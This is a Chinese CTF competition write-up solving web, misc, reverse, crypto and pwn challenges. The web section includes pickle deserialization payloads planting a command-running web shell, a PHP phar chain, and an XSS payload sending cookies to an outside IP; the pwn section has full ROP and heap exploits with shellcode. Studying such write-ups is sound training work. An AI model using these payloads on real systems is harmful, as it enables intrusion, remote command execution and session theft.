A1natas 2024 强网拟态 WriteUp

Web:

ez_picker

/register存在原型链污染 可以污染任意的黑白名单

污染key 伪造jwt的key之后可以上传pickle触发pickle反序列化

这里可以污染掉黑名单之后打pickle反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import builtins
import pickle
import io

safe_modules = {
   'math',
   'datetime',
   'json',
   'collections','os'
}

safe_names = {
   'sqrt', 'pow', 'sin', 'cos', 'tan',
   'date', 'datetime', 'timedelta', 'timezone',
   'loads', 'dumps',
   'namedtuple', 'deque', 'Counter'
}
need_module={'builtins'}
need_name={'eval'}
class Exploit:
   def __reduce__(self):
       return (builtins.eval, ('__import__("os").system("calc")',)) # 在 Windows 上打开计算器

# 序列化 payload

c = pickle.dumps(Exploit())
# print(c)

class RestrictedUnpickler(pickle.Unpickler):
   def find_class(self, module, name):
       print(f"Attempting to load: module='{module}', name='{name}'")
       safe_names.add(name)
       safe_modules.add(module)
       need_name.add(name)
       need_module.add(module)
       if module in need_module and name in need_name:
           return getattr(builtins, name)
       raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def restricted_loads(s):
   return RestrictedUnpickler(io.BytesIO(s)).load()

a=b'\x80\x04\x95;\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04eval\x94\x93\x94\x8c\x1f__import__("os").system("calc")\x94\x85\x94R\x94.'

# pickle.load(io.BytesIO(a))
new_data = restricted_loads(a)
print(need_name)
print(need_module)

可以rce 污染的payload如下 污染掉key

1
2
3
4
5
6
7
8
9
10
11
12
{
   "__class__" : {  
           "__init__" : {
               "__globals__":{
                   "safe_modules":["builtins"],
                   "safe_names" :["eval"],
                   "secret_key" :"key"
              }
          }  
  },

}

然后直接伪造就行

上传文件 这里打的是sanic内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import builtins
import pickle
import io

safe_modules = {
   'math',
   'datetime',
   'json',
   'collections'
}

safe_names = {
   'sqrt', 'pow', 'sin', 'cos', 'tan',
   'date', 'datetime', 'timedelta', 'timezone',
   'loads', 'dumps',
   'namedtuple', 'deque', 'Counter'
}
need_module={'builtins'}
need_name={'eval'}
class Exploit:
   def __reduce__(self):
       return (builtins.eval, ('app.add_route(lambda request: __import__("os").popen(request.args.get("cmd")).read(),"/shell", methods=["GET"])',)) # 在 Windows 上打开计算器

# 序列化 payload


# print(c)

class RestrictedUnpickler(pickle.Unpickler):
   def find_class(self, module, name):
       print(f"Attempting to load: module='{module}', name='{name}'")
       safe_names.add(name)
       safe_modules.add(module)
       need_name.add(name)
       need_module.add(module)
       if module in need_module and name in need_name:
           return getattr(builtins, name)
       raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def restricted_loads(s):
   return RestrictedUnpickler(io.BytesIO(s)).load()

# a=b'\x80\x04\x95;\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04eval\x94\x93\x94\x8c\x1f__import__("os").system("")\x94\x85\x94R\x94.'


with open("1.bin",'wb') as f:
   f.write(pickle.dumps(Exploit()))

# pickle.load(io.BytesIO(a))
# new_data = restricted_loads(a)
print(need_name)
print(need_module)

完全都不用到dump 直接改黑名单过掉 内存马得到flag

Capoo

存在任意文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class CapooObj {
   public function __wakeup()
  {
$action = $this->action;
$action = str_replace("\"", "", $action);
$action = str_replace("\'", "", $action);
$banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\ |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
if(preg_match($banlist, $action)){
die("Not Allowed!");
}
       system($this->action);
  }
}
header("Content-type:text/html;charset=utf-8");
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['capoo'])) {
   $file = $_POST['capoo'];
   
   if (file_exists($file)) {
       $data = file_get_contents($file);
       $base64 = base64_encode($data);
  } else if (substr($file, 0, strlen("http://")) === "http://") {
       $data = file_get_contents($_POST['capoo'] . "/capoo.gif");
       if (strpos($data, "PILER") !== false) {
       die("Capoo piler not allowed!");
      }
       file_put_contents("capoo_img/capoo.gif", $data);
       die("Download Capoo OK");
  } else {
       die('Capoo does not exist.');
  }
} else {
   die('No capoo provided.');
}
?>
<!DOCTYPE html>
<html>
 <head>
   <title>Display Capoo</title>
 </head>
 <body>
   <img style='display:block; width:100px;height:100px;' id='base64image'
      src='data:image/gif;base64, <?php echo $base64;?>' />
 </body>
</html>

得到源代码

可以构造phar包 然后打

注意到这里给PILER 过滤了 可以简单的zip绕过一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class CapooObj {
   public $action;
//   public function __wakeup()
//   {
//       $action = $this->action;
//       $action = str_replace("\"", "", $action);
//       $action = str_replace("\'", "", $action);
//       $banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\ |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
//       if(preg_match($banlist, $action)){
//           die("Not Allowed!");
//       }
//       system($this->action);
//   }
}



$paylaod = new CapooObj();
$paylaod->action = "find / > 2";
//
//$phar = new Phar('phar.phar');
//$phar -> stopBuffering();
/*$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//伪造为gif*/
//$phar -> addFromString('text.txt','test');
//$phar -> setMetadata($paylaod);//object是入口
//$phar -> stopBuffering();

$phar_file = serialize($paylaod);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE);
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);
$zip->close();

上传打就行

** **

成功拿到 然后phar解析触发链子 得到目录

读取到flag

Spreader

过滤了onerror=“”,但是直接写就可以了。

1
<img src="invalid.jpg" onerror=document.location='http://124.221.19.214:1314?cookie'+document.cookie />

窃取两次cookie成为admin

最后访问/flag

OnlineRunner

可以执行任意的java代码 可以使用如下payload遍历和读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
java.lang.String directoryPath = "/home/ctf/sandbox"; 
       java.io.File folder = new java.io.File(directoryPath);
       if (folder.exists() && folder.isDirectory()) {
           java.io.File[] files = folder.listFiles();
           if (files != null) {
               for (java.io.File file : files) {
                   // 获取文件权限信息
                   java.lang.String permissions = getPermissions(file);
                   java.lang.System.out.println((file.isDirectory() ? "[DIR] " : "[FILE] ") + file.getName() + " " + permissions);
              }
          } else {
               java.lang.System.out.println("该目录是空的!");
          }
      } else {
           java.lang.System.out.println("目录不存在或不是有效的目录!");
      }
  }
   private static java.lang.String getPermissions(java.io.File file) {
       java.lang.StringBuilder sb = new java.lang.StringBuilder();
       if (file.canRead()) {
           sb.append("r");
      } else {
           sb.append("-");
      }
       if (file.canWrite()) {
           sb.append("w");
      } else {
           sb.append("-");
      }
       if (file.canExecute()) {
           sb.append("x");
      } else {
           sb.append("-");
      }
       return sb.toString();

读取到agent.jar

这个是一个alibaba.jvm sandbox 这个东西 网上文档里面 可以使用webui去关闭

先读取webui的端口 然后用代码去访问关闭

弹shell

Misc:

ezflag

打开流量包,发现直接传输了一个zip压缩包

直接把原始的Hex复制到cyberchef中,然后选择 From Hex 然后下载转换后的压缩包即可,转换后发现多了一位数据,删除最后一个0即可正常解压,压缩包解压后可以得到一个flag.zip,010查看发现是一张png图片,改后缀为png即可得到flag

flag{140c7366-c217-4039-af6a-d36c4591a4c8}

PvZ

提示md5(花费阳光)是解压密码,写个脚本生成1-10000的md5值然后写入txt文件作为字典爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import hashlib

def generate_md5(number):

   md5_hash = hashlib.md5(str(number).encode()).hexdigest()
   return md5_hash

with open('md5_hashes.txt', 'w') as f:

   for i in range(1, 10001):

       md5_value = generate_md5(i)

       f.write(f'{md5_value}\n')  

print("已写入md5_hashes.txt")

爆破得到解压密码

解压后是一个倾斜的二维码和一个小块,可以观察到左下角有些黑色块,那么左下角应该不是定位块,所以需要旋转后把小块拼进去,其他三块补上定位块

修复后扫码得到密文

D’`qK![**YG{VDTveRc10qpnJ+*****)G!**~**f1{d@-}v<)9xqYonsrqj0hPlkdcb(**`**Hd**]**#a**`*A@VzZY;Qu8NMqKPONGkK-,BGF?cCBA@">76Z:321U54-21***Non,+*****#G’&%$d"y?w_uzsr8vunVrk1ongOe+ihgfeG**]**#**[**ZYW*\UZSwWVUNrRQ3IHGLEiCBAFE>=aA:9>765:981Uvu-2+O/.nm+$Hi’~}|B"!~}|u]s9qYonsrqj0hmlkjc)gIedcb[!YX]\UZSwWVUN6LpP2HMFEDhHG@dDCBA:^!~<;:921U/u3,+*Non&%*)('&}C{cy?}|{zs[q7unVl2ponmleMib(fHG]b[Z~k

这个时候回头去看图片的名字:M41b0lg3.png

把M41b0lg3转换为malbolge,上网一搜发现是一种编程语言,直接在线网站运行即可得到flag

flag{5108a32f-1c7f-4a40-a4fa-fd8982e6eb49}

Reverse:

babyre

frida hook check函数把参数打印出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 替换成你要钩住的共享库的名称
const targetModule = "libServ1ce.so";
// 替换成你要钩住的目标函数的名称
const targetFunction = "Java_com_nobody_Serv1ce_MyService_check";


const it = setInterval(function() {
try {
const baseAddress = Module.findBaseAddress(targetModule);
// console.log( 0x0070CF72B30770-0x070CF72B30000+baseAddress);

Interceptor.attach( ptr(baseAddress).add(0x0070CF72B30770-0x070CF72B30000) , {
onEnter: function (args) {
// args 是一个指针数组,包含函数的所有参数
// 假设第 5 个参数是 args[4]
console.log("第 5 个参数:", args[4].toInt32()); // 根据实际参数类型调整
}

});
clearInterval(it);
} catch(e) {
console.log(e)
}
}, 10)

z3直接出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from z3 import *

# 创建 Z3 变量
flag = [BitVec(f'flag_{i}', 8) for i in range(36)]
key = [
0xad, 0xe2, 0xe5, 0xc5, 0xe2, 0xad, 0xad, 0xe2, 0xc5, 0xe2,
0xe2, 0xc5, 0xc5, 0xe2, 0xad, 0xad, 0xe2, 0xe2, 0xc5, 0xc5,
0xad, 0xe2, 0xe5, 0xc5, 0xe2, 0xad, 0xad, 0xe2, 0xc5, 0xe2,
0xe2, 0xc5, 0xc5, 0xe2, 0xad, 0xad, 0xe2, 0xe2, 0xc5, 0xc5,
0xad, 0xe2, 0xe5, 0xc5, 0xe2, 0xad, 0xad, 0xe2, 0xc5, 0xe2,
0xe2, 0xc5, 0xc5, 0xe2, 0xad, 0xad, 0xe2, 0xe2, 0xc5, 0xc5,
0xad, 0xe2, 0xe5, 0xc5
]
v = [
0xB9, 0x32, 0xC2, 0xD4, 0x69, 0xD5, 0xCA, 0xFB, 0xF8, 0xFB,
0x80, 0x7C, 0xD4, 0xE5, 0x93, 0xD5, 0x1C, 0x8B, 0xF8, 0xDF,
0xDA, 0xA1, 0x11, 0xF8, 0xA1, 0x93, 0x93, 0xC2, 0x7C, 0x8B,
0x1C, 0x66, 0x01, 0x3D, 0xA3, 0x67
]

s = Solver()

for i in range(36):
s.add(((key[i] ^ flag[i]) * 11) == v[i])

if s.check() == sat:
model = s.model()
flag_solution = [model[f].as_long() for f in flag]
print("flag:", [chr(f) for f in flag_solution])
print("".join([chr(f) for f in flag_solution]))
else:
print("No solution found")



challenge

没有符号表的游戏题

先打两把先,打了困难居然不给flag,但是退出的时候发现有东西


感觉应该把东西写在退出里面了

直接对exit函数进行索引找关键函数


刚好对应的是读入esc键然后执行sub_140014EB5();然后退出

27b35dd7-2554-4c96-b36f-3a2faa6d3abf.png

找到个很明显的字符串混淆,防止被找出来

b609cd57-5bae-4d12-bf78-1b7198c3d694.png

然后解析一下

很清晰了,在你的注册表里读flag,然后对.data文件进行解密成为一个ps1,执行后删除

先把flag写注册表里,然后创个game.ps1文件,设置权限不可执行不可读,只能写入,这样运行在删除前就会报错,留下一个game.tmp

一眼混淆,用powerdecode去混淆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
Layer 4 - Plainscript


function enenenenene {
param(
$plaintextBytes,
$keyBytes
)
# Initialize S and KSA
$S = 0..255
$j = 0
for ($i = 0; $i -lt 256; $i++) {
$j = ($j + $S[$i] + $keyBytes[$i % $keyBytes.Length]) % 256
$temp = $S[$i]
$S[$i] = $S[$j]
$S[$j] = $temp
}

# PRGA and encryption
$i = 0
$j = 0
$ciphertextBytes = @()
for ($k = 0; $k -lt $plaintextBytes.Length; $k++) {
$i = ($i + 1) % 256
$j = ($j + $S[$i]) % 256
$temp = $S[$i]
$S[$i] = $S[$j]
$S[$j] = $temp
$t = ($S[$i] + $S[$j]) % 256
$ciphertextBytes += ($plaintextBytes[$k] -bxor $S[$t])
}

# Return ciphertext as a string
return $ciphertextBytes
}
function enenenenene1 {
param(
$inputbyte
)
$key = @(0x70, 0x6f, 0x77, 0x65, 0x72)
$encryptedText = @();
for ($k = 0; $k -lt $inputbyte.Length; $k++) {
$encryptedText = enenenenene -plaintextBytes $inputbyte -keyBytes $key;
$key = enenenenene -plaintextBytes $key -keyBytes $encryptedText;
}
return $encryptedText + $key;
}
function enenenenene2 {
param(
$inputbyte
)
$key = @(0x70, 0x30, 0x77, 0x65, 0x72)
for ($k = 0; $k -lt $inputbyte.Length; $k++) {
$inputbyte[$k] = $inputbyte[$k] + $key[$k % $key.Length]
}
return $inputbyte;
}
function enenenenene3 {
param(
$inputbyte
)
$key = @(0x70, 0x30, 0x77, 0x33, 0x72)
for ($k = 0; $k -lt $inputbyte.Length; $k++) {
$inputbyte[$k] = $inputbyte[$k] * $key[$k % $key.Length]
}
return $inputbyte;
}
$registryPath = 'HKCU:\Software\PacManX'

$valueName = 'MYFLAG'
$value = Get-ItemPropertyValue $registryPath $valueName
$plaintext = @($value) | ForEach-Object {
$input = $_
$plaintext = @()
for ($i = 0; $i -lt $input.Length; $i++) {
$plaintext += [int][char]$input[$i]
}
$plaintext
}
if ($plaintext.Length -ne 36) {
Set-Content -Path "log.txt" -Value "ERROR"
exit
}
$encrypted1Text = enENenenene2 -inputbyte (enenenENene2 -inputbyte (enenenenene3 -inputbyte (Enenenenene2 -inputbyte (enenenenene2 -inputbyte (enenenenene2 -inputbyte (enenenenene1 -input $plaintext))))))
$result = @(38304, 8928, 43673, 25957 , 67260, 47152, 16656, 62832 , 19480 , 66690, 40432, 15072 , 63427 , 28558 , 54606, 47712 , 18240 , 68187 , 18256, 63954 , 48384, 14784, 60690 , 21724 , 53238 , 64176 , 9888 , 54859 , 23050 , 58368 , 46032 , 15648 , 64260 , 17899 , 52782 , 51968 , 12336 , 69377 , 27844 , 43206 , 63616)
for ($k = 0; $k -lt $result.Length; $k++) {
if ($encrypted1Text[$k] -ne $result[$k]) {
Set-Content -Path "log.txt" -Value "ERROR"
exit

}

}
Set-Content -Path "log.txt" -Value "RIGHT"

rc4+简单乘加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pw=[38304, 8928, 43673, 25957 , 67260, 47152, 16656, 62832 , 19480 , 66690, 40432, 15072 , 63427 , 28558 , 54606, 47712 , 18240 , 68187 , 18256, 63954 , 48384, 14784, 60690 , 21724 , 53238 , 64176 , 9888 , 54859 , 23050 , 58368 , 46032 , 15648 , 64260 , 17899 , 52782 , 51968 , 12336 , 69377 , 27844 , 43206 , 63616]
key=[0x70, 0x6f, 0x77, 0x65, 0x72]
key1=[0x70, 0x30, 0x77, 0x65, 0x72]
key2=[0x70, 0x30, 0x77, 0x33, 0x72]
for i in range(len(pw)):
print(hex(int((pw[i]-2*key1[i%5])/key2[i%5])-3*key1[i%5]),end=',')


pw2=[0x4,0x28,0x8,0xca,0xf6,0x53,0xc9,0xa9,0x4b,0xf1,0x17,0xa8,0xae,0xfd,0x87,0x58,0xea,0xd6,0x33,0xd9,0x5e,0xa2,0x97,0x77,0x7b,0xeb,0x3c,0x66,0x91,0xa8,0x49,0xb4,0xb5,0x2c,0x77,0x7e]
key3=[0x6f,0xe0,0xef,0x23,0xe6]

def rc4(key, data):
S = list(range(256))
j = 0
key_length = len(key)

for i in range(256):
j = (j + S[i] + key[i % key_length]) % 256
S[i], S[j] = S[j], S[i]

i = j = 0
output = []

for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
t = (S[i] + S[j]) % 256
output.append(byte ^ S[t])

return output

print(len(pw2))
for _ in range(1):
key3=rc4(pw2,key3)
pw2=rc4(key3,pw2)
for i in key3:
print(chr(i),end='')
print()
for i in pw2:
print(chr(i),end='')
#73412036-7d8c-437b-9026-0c2ca1b7f79d

eazyre

01爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
fk = [-9999] * 16
for v16 in range(2):
for v15 in range(2):
for v14 in range(2):
for v13 in range(2):
for v12 in range(2):
for v11 in range(2):
for v10 in range(2):
for v9 in range(2):
for v8 in range(2):
for v7 in range(2):
for v6 in range(2):
for v5 in range(2):
v1 = v7 & v8 & v9 & (v11 == 0) & (v12 == 0) & v13 & ((v14 | v15 | v16) == 0) & (v10 == 0) & (v6 == 0) | v7 & v9 & v11 & (v13 == 0) & (v14 == 0) & v16 & (v15 == 0) & (v12 == 0) & (v10 == 0) & (v8 == 0) & (v6 == 0) | v6 & (v8 == 0) & (v9 == 0) & (v10 == 0) & v11 & v12 & (v14 & v15 & v16) & (v13 == 0) & (v7 == 0)

v2 = v5 & v6 & v8 & v9 & v10 & v11 & v12 & (v14 == 0) & (v15 & v16) & (v13 == 0) & (v7 == 0) | (v6 == 0) & (v7 == 0) & v8 & v9 & v10 & v12 & v13 & v15 & (v16 == 0) & (v14 == 0) & (v11 == 0) & (v5 == 0) | v5 & (v7 == 0) & v8 & v10 & v12 & v13 & v14 & v16 & (v15 == 0) & (v11 == 0) & (v9 == 0) & (v6 == 0) | v5 & v7 & v8 & v10 & v11 & v13 & v14 & (v15 == 0) & (v12 == 0) & (v9 == 0) & (v6 == 0) | (v1 | v6 & v7 & (v9 == 0) & v10 & (v12 == 0) & v13 & v14 & v16 & (v15 == 0) & (v11 == 0) & (v8 == 0)) & (v5 == 0)

v3 = v5 & v6 & (v8 == 0) & (v9 == 0) & v10 & (v12 == 0) & (v13 == 0) & (v14 == 0) & (v15 & v16) & (v11 == 0) & (v7 == 0) | (v6 == 0) & (v7 == 0) & (v8 == 0) & (v9 == 0) & v10 & (v12 == 0) & v13 & ((v14 | v15 | v16) == 0) & (v11 == 0) & (v5 == 0) | v5 & v6 & v7 & (v9 == 0) & (v10 == 0) & v11 & v12 & (v14 == 0) & v15 & (v16 == 0) & (v13 == 0) & (v8 == 0) | v5 & v7 & (v9 == 0) & (v10 == 0) & v11 & ((v12 | v13 | v14 | v15 | v16) == 0) & (v8 == 0) & (v6 == 0) | v5 & (v7 == 0) & (v8 == 0) & v9 & v10 & v11 & v12 & (v14 == 0) & v16 & (v15 == 0) & (v13 == 0) & (v6 == 0) | v2

if ( (v6 & v8 & v10 & v12 & (v14 == 0) & v15 & (v16 == 0) & (v13 == 0) & (v11 == 0) & (v9 == 0) & (v7 == 0) & (v5 == 0) | v5 & v6 & v7 & v8 & (v10 == 0) & (v11 == 0) & v12 & (v14 == 0) & v15 & (v16 == 0) & (v13 == 0) & (v9 == 0) | v3 | v6 & v7 & v8 & v10 & v12 & ((v13 | v14 | v15 | v16) == 0) & (v11 == 0) & (v9 == 0) & (v5 == 0))==1 ):
dt = [v5, v6, v7, v8, v9, v10, v11, v12, v13, v14,v15,v16][::-1]
right = dt[8:]
index = int("0b" + "".join([str(_) for _ in right]), 2)
value = int("0b" + "".join([str(_) for _ in dt[:8]]), 2)
print(hex(value), index)

# if fk[index] == -9999:
fk[index] = value


print(fk)

v=[18, 143, 236, 194, 133, 4, 178, 76, 91, 186, 74, 207, 17, 0x36, 10, 72]
for i in range(len(v)):
print(hex(v[i])[2:],end=' ')

aes

248c1b00-9ca7-4cf1-801b-7700c7930d49.jpeg

Crypto:

xor

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import long_to_bytes

hex_string = "0b050c0e180e585f5c52555c5544545c0a0f44535f0f5e445658595844050f5d0f0f55590c555e5a0914"
key = "mimic"

byte_string = bytes.fromhex(hex_string)

key_bytes = (key * ((len(byte_string) // len(key)) + 1)).encode()[:len(byte_string)]

xor_result = bytes([b ^ k for b, k in zip(byte_string, key_bytes)])

print(long_to_bytes(int(xor_result)))

Pwn:

signin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
from ctypes import *
context.update(os = 'linux', arch = 'amd64', timeout = 5)
context.log_level = 'debug'
binary = './vuln'
elf = ELF(binary, checksec=False)
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
libc = ELF('./libc.so.6', checksec=False)
host = ''
port = ''
p = remote("pwn-390728fca7.challenge.xctf.org.cn", 9999, ssl=True)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

lib = CDLL("./libc.so.6")

pop_rdi_ret = 0x0000000000401893
ret = pop_rdi_ret + 1
leave_ret = 0x00000000004013be

bss = elf.bss(0x700)


def cmd(idx):
sa(b">> \n", p32(idx))

def pwn():
seed = lib.time(0)
sl(b"enllus1on")
lib.srand(seed-1)

for i in range(100):
secret = lib.rand() % 100 + 1
ru(b"code:\n")
s(p32(secret))

cmd(1)
sa(b"Index: ", p32(0))
sla(b"Note: ", b'a')

pay = fit(
b'a'*0x100, bss + 0x100,
pop_rdi_ret, elf.got["puts"], elf.plt["puts"],
0x4013CF
)

s(pay)

libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym["puts"]
mprotect = libc.sym["mprotect"]
pop_rdx_ret = libc.address + 0x0000000000142c92
pop_rsi_ret = libc.address + 0x000000000002601f
log("libc", libc.address)


shellcode = asm(
f"""
mov rax, {u64(b"./flag" + bytearray([0,0]))}
push rax
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x40
mov rax, 0
syscall
mov rdi, 1
mov rsi, rsp
mov rdx, 0x40
mov rax, 1
syscall
""")

pay = fit([
pop_rdi_ret, bss & ~0xfff,
pop_rsi_ret, 0x1000,
pop_rdx_ret, 7,
mprotect,
bss + 0x40,
shellcode
])

pay = pay.ljust(0x100, b'\x00')
pay += p64(bss - 0x8) + p64(leave_ret)

s(pay)

io()

io()
pwn()

signin_revenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
context.update(os = 'linux', arch = 'amd64', timeout = 5)
context.log_level = 'debug'
binary = './vuln'
elf = ELF(binary, checksec=False)
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
libc = ELF('./libc.so.6', checksec=False)
host = ''
port = ''
p = remote("pwn-617acc7720.challenge.xctf.org.cn", 9999, ssl=True)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

pop_rdi_ret = 0x0000000000401393
ret = pop_rdi_ret + 1
pop_rsi_r15_ret = 0x0000000000401391
leave_ret = 0x00000000004012be

bss = elf.bss(0x700)

shellcode = asm(
f"""
mov rax, {u64(b"./flag" + bytearray([0,0]))}
push rax
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x40
mov rax, 0
syscall
mov rdi, 1
mov rsi, rsp
mov rdx, 0x40
mov rax, 1
syscall
""")

def pwn():
p.recvline()
pay = fit(
b'a'*0x100, bss + 0x100,
pop_rdi_ret, elf.got["puts"], elf.plt["puts"],
0x4012CF
)

s(pay)

libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym["puts"]
mprotect = libc.sym["mprotect"]
pop_rdx_ret = libc.address + 0x0000000000142c92
pop_rsi_ret = libc.address + 0x000000000002601f
log("libc", libc.address)

pay = fit([
pop_rdi_ret, bss & ~0xfff,
pop_rsi_ret, 0x1000,
pop_rdx_ret, 7,
mprotect,
bss + 0x40,
shellcode
])

pay = pay.ljust(0x100, b'\x00')
pay += p64(bss - 0x8) + p64(leave_ret)

s(pay)

io()
pwn()

guest book

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from pwn import *
from SomeofHouse import *
context.update(os = 'linux', arch = 'amd64', timeout = 5)
context.log_level = 'debug'
binary = './pwn'
elf = ELF(binary, checksec=False)
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
libc = ELF('./libc.so.6', checksec=False)
host = ''
port = ''
p = remote("pwn-66746423ae.challenge.xctf.org.cn", 9999, ssl=True)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

def cmd(idx):
sla(b">", str(idx).encode())

def add(idx, sz):
cmd(1)
sla(b"index\n", str(idx).encode())
sla(b"size\n", str(sz).encode())

def edit(idx, data):
cmd(2)
sla(b"index\n", str(idx).encode())
sa(b'content\n', data)

def delete(idx):
cmd(3)
sla(b"index\n", str(idx).encode())

def show(idx):
cmd(4)
sla(b"index\n", str(idx).encode())


def pwn():
add(0, 0x520)
add(1, 0x500)
add(2, 0x540)
add(3, 0x500)
add(4, 0x500)

delete(0)
delete(2)

show(0)
libc.address = u64(ru(b'\n', drop=True).ljust(8, b'\x00')) - 0x21ace0
_IO_list_all = libc.sym["_IO_list_all"]
__free_hook = libc.sym["__free_hook"]

show(2)
heapbase = u64(ru(b'\n', drop=True).ljust(8, b'\x00')) - 0x290
success(f"libc: {libc.address:#x}")
success(f"heapbase: {heapbase:#x}")

add(2, 0x540)
# gdb.attach(p)
# pause()
pay = fit(libc.address + 0x21b110, libc.address + 0x21b110,
0, _IO_list_all - 0x20)
edit(0, pay)

target = heapbase + 0x7d0

fake_io = fit({
0x20-0x10: 0,
0x28-0x10: 0,
0x68-0x10: target,
}, filler=b'\x00')

delete(3)
add(5, 0x550)

edit(3, fake_io)

hos = HouseOfSome(libc, __free_hook)
fake_io = hos.hoi_read_file_template(__free_hook, 0x500, __free_hook, 0)
edit(1, fake_io)

cmd(5)
ru(b"bye~\n")

shellcode = asm(
f"""
mov rax, {u64(b"./flag" + bytearray([0,0]))}
push rax
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 0x40
mov rax, 0
syscall

mov rdi, 1
mov rsi, rsp
mov rdx, 0x40
mov rax, 1
syscall
""")


stack = hos.bomb_raw(p)

rop = ROP(libc)
rop.call("mprotect", [stack & ~0xfff, 0x1000, 7])
rop.raw(stack + 0x48)

info(rop.dump())

# dbg("b *mprotect")
sl(rop.chain() + shellcode)

